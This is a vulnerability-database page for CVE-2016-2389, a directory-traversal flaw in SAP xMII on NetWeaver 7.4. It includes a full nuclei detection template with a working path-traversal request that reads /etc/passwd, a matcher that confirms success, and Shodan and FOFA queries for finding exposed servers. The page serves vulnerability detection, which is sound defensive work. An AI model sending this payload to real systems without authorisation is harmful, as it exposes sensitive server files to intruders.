HexBrain

Browse / CVEs / CVE-2016-2389

CVE-2016-2389· sap / netweaver· CWE-22

SAP xMII 15.0 for SAP NetWeaver 7.4 - Local File Inclusion

highseverity
7.5CVSS score
41.5%likelihood of exploitation, next 30 days
99%of all CVEs are less likely
Readycheck to confirm it

SAP xMII 15.0 for SAP NetWeaver 7.4 is susceptible to a local file inclusion vulnerability in the GetFileList function. This can allow remote attackers to read arbitrary files via a .. (dot dot) in the path parameter to /Catalog, aka SAP Security Note 2230978.

Impact

Successful exploitation of this vulnerability could allow an attacker to read sensitive files on the server, leading to unauthorized access and potential data leakage.

Fix

Apply the latest security patches and updates provided by SAP to mitigate the vulnerability.

How to confirm it

Send: GET {{BaseURL}}/XMII/Catalog?Mode=GetFileList&Path=Classes/../../../../../../../../../../../../etc/passwd
Positive when: matches /root:.*:0:0:/ AND status 200

Run it with nuclei: nuclei -id CVE-2016-2389 -u <target>. This check is not marked as verified by its authors.

The full check
id: CVE-2016-2389

info:
  name: SAP xMII 15.0 for SAP NetWeaver 7.4 - Local File Inclusion
  author: daffainfo
  severity: high
  description: SAP xMII 15.0 for SAP NetWeaver 7.4 is susceptible to a local file inclusion vulnerability in the GetFileList function. This can allow remote attackers to read arbitrary files via a .. (dot dot) in the path parameter to /Catalog, aka SAP Security Note 2230978.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to read sensitive files on the server, leading to unauthorized access and potential data leakage.
  remediation: |
    Apply the latest security patches and updates provided by SAP to mitigate the vulnerability.
  reference:
    - https://web.archive.org/web/20211209003818/https://erpscan.io/advisories/erpscan-16-009-sap-xmii-directory-traversal-vulnerability/
    - http://packetstormsecurity.com/files/137046/SAP-MII-15.0-Directory-Traversal.html
    - https://www.exploit-db.com/exploits/39837/
    - https://nvd.nist.gov/vuln/detail/CVE-2016-2389
    - http://seclists.org/fulldisclosure/2016/May/40
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2016-2389
    cwe-id: CWE-22
    epss-score: 0.4145
    epss-percentile: 0.98689
    cpe: cpe:2.3:a:sap:netweaver:7.40:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: sap
    product: netweaver
    shodan-query:
      - http.favicon.hash:-266008933
      - cpe:"cpe:2.3:a:sap:netweaver"
    fofa-query: icon_hash=-266008933
  tags: cve2016,cve,packetstorm,seclists,lfi,sap,edb,vkev,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/XMII/Catalog?Mode=GetFileList&Path=Classes/../../../../../../../../../../../../etc/passwd"

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:.*:0:0:"

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from